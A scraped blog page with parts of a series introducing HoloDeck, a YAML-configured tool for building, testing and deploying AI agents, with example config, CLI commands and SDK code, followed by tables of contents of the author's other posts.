Enterprise agents in Microsoft ecosystem	Azure AI Foundry
Managed agents on AWS	Bedrock AgentCore
Production runtime on GCP	Vertex AI Agent Engine
Self-hosted, config-driven, CI/CD-native	HoloDeck

Next Up

In Part 3, I'll walk through how HoloDeck works—the design decisions, the YAML config approach, the SDK, and what's actually built vs. what's still on the roadmap.

Continue to Part 3 →

HoloDeck Part 1: Why Building AI Agents Feels So Broken

Jeremiah Justin Barias — Fri, 15 Nov 2024 00:00:00 +0000

┌──────────────────────────────────────────────────────────────────────┐
│ Today's Agent Development Workflow (The Problem) │
└──────────────────────────────────────────────────────────────────────┘

    ┌─────────────────┐
    │ BUILD │ (LangChain/CrewAI/AutoGen)
    │ Fragmented │
    │ Frameworks │
    └────────┬────────┘
             │
             │ Manual Testing
             ▼
    ┌─────────────────────────────────────────┐
    │ EVALUATE │
    │ (Evaluation SDKs / Unit Tests / E2E) │
    │ (Manual Testing / Jupyter Notebooks) │
    └────────┬────────────────────────────────┘
             │
             │ Guess & Check
             ▼
    ┌─────────────────┐
    │ DEPLOY │ (Docker / Custom Orchestration)
    │ Custom Scripts │
    └────────┬────────┘
             │
             │ Hope it Works
             ▼
    ┌─────────────────┐
    │ MONITOR │ (Datadog / Custom Logs)
    │ Reactive Fixes │
    └────────┬────────┘
             │
             │ Something Broke?
             │
             └─────────────────────────┐
                                       │
                              (Loop Back to BUILD)
                                       │
                                       ▼

The AI agent hype is everywhere. But unlike the deep learning era that gave us reproducible experiments and systematic tooling, we're building agents with ad-hoc tools, fragmented frameworks, and basically no methodology. I've been frustrated by this for a while, and I wanted to write down what I think is broken.

This is Part 1 of a 3-Part Series

Why Building AI Agents Feels So Broken (You are here)
What's Out There - Looking at LangSmith, MLflow, and the major cloud providers
What I'm Building - HoloDeck's approach and how it works

The Mess We're In

There's no shortage of frameworks—LangChain, LlamaIndex, CrewAI, Autogen, and dozens more. Each promises to simplify agent development. But they all leave you solving the same hard problems:

How do I know which prompt actually works? You tweak it manually. Test it manually. Repeat endlessly.
How do I make my agent safe? You add guardrails ad-hoc. Validation rules scattered across your codebase. No systematic testing.
How do I optimize performance? You adjust temperature, top_p, max tokens. Trial and error until something seems to work.
How do I deploy this reliably? You build custom orchestration. Write deployment scripts. Manage versioning yourself.
How do I know my agent still works after I changed that one thing? You hope. You test manually. You ship bugs to production.

Here's what bugs me: we're shipping agents, not code. Yet we treat them like traditional software—write it once, deploy it, call it done. But agents are probabilistic systems. Their behavior varies. Their performance degrades. Their configurations matter as much as their code.

Something's off.

Why This Bugs Me Now

Agents aren't just demos anymore. They're going into production:

Customer support - Agents handling real customer queries, with real consequences for bad responses
Code generation - Agents writing and deploying code, with security implications
Data analysis - Agents making decisions that inform business strategy
Workflow automation - Agents executing multi-step processes with real-world effects

When your agent hallucinates in a Jupyter notebook, you shrug and re-run the cell. When your agent hallucinates in production, you lose customers, leak data, or worse.

The gap between "cool demo" and "production-ready" is huge. And I've watched teams discover this the hard way—including my own.

We've Done This Before

Here's what I keep coming back to: the deep learning revolution wasn't about finding the perfect neural network. It was about systematizing the process of building them.

Think about the traditional ML pipeline:

Define architecture - Choose layers, activation functions, size. The structure matters.
Define loss function - Quantify what "good" means. Measure it.
Hyperparameter search - Systematically explore temperature, learning rate, batch size. Test rigorously.
Evaluate and iterate - Run experiments. Compare results. Make data-driven decisions.

This wasn't guesswork. It was scientific method applied to AI.

The community built frameworks around this—Keras, PyTorch, TensorFlow. They made the pipeline accessible. Suddenly, thousands of practitioners could build sophisticated models because the methodology was codified.

But somehow, we've abandoned this for agents.

We're back to hand-tuning prompts. Testing agents by running them once. Deploying based on gut feel. Ignoring the systematic approach that made deep learning successful.

Why did we regress?

So What's Out There?

Before I started building my own thing, I wanted to understand the landscape. In Part 2, I look at what's available:

LangSmith (LangChain's observability platform)
MLflow GenAI (Databricks)
Microsoft PromptFlow
Azure AI Foundry
Amazon Bedrock AgentCore
Google Vertex AI Agent Engine

They all solve parts of the problem. But I couldn't find anything that addressed everything I cared about. Also, they all locked you in to a platform/ecosystem.

Continue to Part 2 →

HoloDeck Part 3: How I'm Approaching Agent Development

Jeremiah Justin Barias — Fri, 15 Nov 2024 00:00:00 +0000

In Part 1, I talked about what feels broken in agent development. In Part 2), I looked at what's out there. Now let me walk through what I'm building.

This is Part 3 of a 3-Part Series

Why It Feels Broken - What's wrong with agent development
What's Out There - The current landscape
How HoloDeck Works (You are here)

The Core Idea

The insight that got me started: agents are systems with measurable components that can be optimized systematically. We did this for ML. Why not agents?

The Analogy

Traditional ML	Agent Engineering
NN Architecture	Agent Artifacts (prompts, instructions, tools, memory)
Loss Function	Evaluators (NLP metrics, LLM-as-judge, custom scoring)
Hyperparameters	Configuration (temperature, top_p, max_tokens, model)
Training Loop	Agent Execution Framework
Evaluation Metrics	Agent Benchmarks & Test Suites
Model Checkpoints	Agent Versions & Snapshots

ML engineers don't manually tweak neural network weights. So why are we manually tweaking agent behavior? We should be able to:

Version our artifacts - Track which prompts, tools, and instructions we're using
Measure systematically - Define evaluators that quantify agent performance
Optimize through configuration - Run experiments across temperature, top_p, context length, tool selection
Test rigorously - Benchmark against baselines, compare variants, ship only what passes

That's the approach I'm taking.

How HoloDeck Works

Three design principles:

Configuration-First - Pure YAML defines agents, not code
Measurement-Driven - Evaluation baked in from the start
CI/CD Native - Agents deploy like code

Architecture

┌─────────────────────────────────────────────────────────┐
│                    HOLODECK PLATFORM                    │
└─────────────────────────────────────────────────────────┘
                           │
        ┌──────────────────┼──────────────────┐
        ▼                  ▼                  ▼
┌──────────────┐  ┌──────────────┐  ┌──────────────┐
│   Agent      │  │  Evaluation  │  │  Deployment  │
│   Engine     │  │  Framework   │  │  Engine      │
└──────────────┘  └──────────────┘  └──────────────┘
        │                  │                  │
        ├─ LLM Providers   ├─ AI Metrics     ├─ FastAPI
        ├─ Tool System     ├─ NLP Metrics    ├─ Docker
        ├─ Memory          ├─ Custom Evals   ├─ Cloud Deploy
        └─ Vector Stores   └─ Reporting      └─ Monitoring

Config-First Design

You define your entire agent in YAML. Here's a simple example:

name: "My First Agent"
description: "A helpful AI assistant"
model:
  provider: "openai"
  name: "gpt-4o-mini"
  temperature: 0.7
  max_tokens: 1000
instructions:
  inline: |
    You are a helpful AI assistant.
    Answer questions accurately and concisely.

No Python. No custom code. You define what your agent does, HoloDeck handles how it runs.

Then interact via the CLI:

# Initialize a new project
holodeck init my-chatbot

# Edit your agent configuration
# (customize agent.yaml as needed)

# Chat with your agent interactively
holodeck chat agent.yaml

# Run automated tests
holodeck test agent.yaml

# Deploy as a local API
holodeck deploy agent.yaml --port 8000

Pretty minimal. The docs cover more complex setups—tools, memory, evaluators.

When You Need Code

YAML isn't everything. For programmatic test execution, dynamic configuration, or complex workflows, there's an SDK:

from holodeck.config.loader import ConfigLoader
from holodeck.lib.test_runner.executor import TestExecutor
import os

# Load configuration with environment variable support
os.environ["OPENAI_API_KEY"] = "sk-..."
loader = ConfigLoader()
config = loader.load("agent.yaml")

# Run tests programmatically
executor = TestExecutor()
results = executor.run_tests(config)

# Access detailed results with metrics
for test_result in results.test_results:
    print(f"Test: {test_result.test_name}")
    print(f"Status: {test_result.status}")
    print(f"Metrics: {test_result.metrics}")

Start with YAML, drop into code when you need to. The SDK gives you:

ConfigLoader - dynamic configuration
TestExecutor - test orchestration
Agent Models - Pydantic validation
Evaluators - NLP metrics and LLM-as-judge scoring

DevOps Integration

Agents should work like software:

Version Control - Agent configs are versioned. Track changes, rollback if needed.

Testing Pipeline - Run agents through test suites. Compare across versions.

holodeck test agents/customer_support.yaml
holodeck deploy agents/ --env staging --monitor

Monitoring - OpenTelemetry integration following GenAI Semantic Conventions:

Standard trace, metric, and log collection
GenAI attributes: gen_ai.system, gen_ai.request.model, gen_ai.usage.*
Cost tracking
Works with Jaeger, Prometheus, Datadog, Honeycomb, LangSmith

CI/CD - Works with GitHub Actions, GitLab CI, Jenkins, whatever you use.

# .github/workflows/deploy-agents.yml
on: [push]
jobs:
  test-agents:
    runs-on: ubuntu-latest
    steps:
      - run: holodeck test agents/
      - run: holodeck deploy agents/ --env production

What I'm Going For

I got tired of:

Needing to know 10 different frameworks to do anything
Writing custom orchestration for every project
Manual testing and "hope it works" deployments

What I wanted:

Accessible - YAML-based, code optional
Measurable - Evaluation from day one
Reliable - Systematic testing and versioning
Portable - Not locked to any cloud

Current State

HoloDeck is in active development. What's working now:

CLI - Commands for init, chat, test, validate, and deploy
Interactive Chat - CLI chat with streaming and multimodal support
Tools - Vector store integration, MCP (Model Context Protocol) support
Test Cases - YAML-based test scenarios, multimodal file support
Evaluations - NLP metrics (F1, ROUGE, BLEU, METEOR) and LLM-as-judge scoring
Configuration Management - Environment variable substitution, config merging, validation

What's Next

Actively building:

API Serving - Deploy agents as REST APIs with FastAPI
Observability - OpenTelemetry integration with GenAI semantic conventions

Down the Road

Eventually:

Cloud Deployment - Native integration with AWS, GCP, Azure
Multi-Agent Orchestration - Advanced patterns for agent communication
Cost Analytics - LLM usage tracking and optimization

On Ownership

Here's something that bothers me: we don't outsource our entire software development lifecycle to cloud providers. We choose our own version control, CI/CD, testing frameworks, deployment targets. Why should agents be different?

Software Development	Agent Development (today)
Git (self-hosted or any provider)	Agent definitions (locked to platform)
CI/CD (Jenkins, GitHub Actions, GitLab)	Testing & validation (vendor-specific)
Testing frameworks (Jest, pytest, JUnit)	Evaluation (proprietary metrics)
Deployment (your infrastructure)	Runtime (cloud-only)

Cloud platforms are convenient, but you give up:

Portability - Your agent definitions are tied to proprietary formats
Flexibility - Limited to their supported models and patterns
Cost control - Usage-based pricing that scales against you
Data sovereignty - Your prompts and responses live on their servers

I wanted something different: portable YAML definitions, any LLM (cloud or local), your own evaluation criteria, deploy anywhere, integrate with existing CI/CD. That's what HoloDeck is trying to be.

Try It Out

HoloDeck focuses on a few things: config-driven agents, systematic testing, and fitting into your existing workflow. Not trying to be everything to everyone.

If any of this resonates, check out the docs.

Series Recap

Part 1: Why It Feels Broken - The problem
Part 2: What's Out There - The landscape
Part 3: How HoloDeck Works (You are here)

DEV Community: Jeremiah Justin Barias

I Built an OpenTelemetry Instrumentor for Claude Agent SDK

Table of Contents

Background

The problem

What I built

The hooks thing

Getting started

What the traces look like

Rough edges and what's next

You Don't Need Any Other Agent Framework, You Only Need Claude Agents SDK

Table of Contents

Why Claude Agents SDK

How HoloDeck Runs Claude Under the Hood

The Bridges and Adapters I Built

Tool Adapters (tool_adapters.py)

MCP Bridge (mcp_bridge.py)

OTel Bridge (otel_bridge.py)

Custom Tools Are Just MCP Servers

What's Supported Today

Core Features

Claude-Specific Capabilities

Security: Sandboxing and Secure Deployment

The Threat Model

Built-in Sandboxing

Configuring the Sandbox Programmatically

Production Hardening

What HoloDeck Does Today

Using Claude Agents SDK Without an Anthropic API Key

Auth: Local Experimentation vs Production

What's Coming Next

Hooks

Agent Skills

Subagents (Multi-Agent Swarms)

holodeck serve for Claude Agents

holodeck deploy with Claude

Human-in-the-Loop Approvals

Custom Anthropic Endpoints

Wrapping Up

Take Back the Stack. Your Cloud Provider Doesn't Want You To.

Take Back the Stack. Your Cloud Provider Doesn't Want You To.

How We Got Here

The Agent Platform Gold Rush (And Why You Should Be Suspicious)

Something Changed and Most People Missed It

You Don't Need a 10x Team. You Might Need Three People.

Stop Letting IT Gatekeep Developer Platforms

Build the Moat Around What Actually Matters

The Risk of Waiting

RAG Is Dead. Long Live RAG. Or Is It?

What we're covering

The Great Vector Gold Rush

GraphRAG and the Hype That Fizzled

The Blog Post That Changed Everything (For Me)

The Pipeline

The Numbers

From Insight to Implementation: The Hierarchical Document Tool

Structure-aware chunking

Contextual embeddings via LLM

Hybrid search with tiered keyword strategy

Reranking: the final 18% that matters

Definition and cross-reference extraction

The YAML

Don't Forget Structured Data

The Agentic Shift

The Problem That Was Never Solved

RAG Isn't Dead. We Just Never Did It Right.

From YAML to Production: Deploying HoloDeck Agents to Azure Container Apps

From YAML to Production: Deploying HoloDeck Agents to Azure Container Apps

The Customer Support Agent

Adding Deployment Configuration

Building the Container Image

Pushing to Registry

Deploying to Azure Container Apps

Testing the Deployed Agent

Managing Deployments

Check Status

Tear Down

State Tracking

What About AWS and GCP?

Conclusion

Tool Adapters (`tool_adapters.py`)

MCP Bridge (`mcp_bridge.py`)

OTel Bridge (`otel_bridge.py`)

`holodeck serve` for Claude Agents

`holodeck deploy` with Claude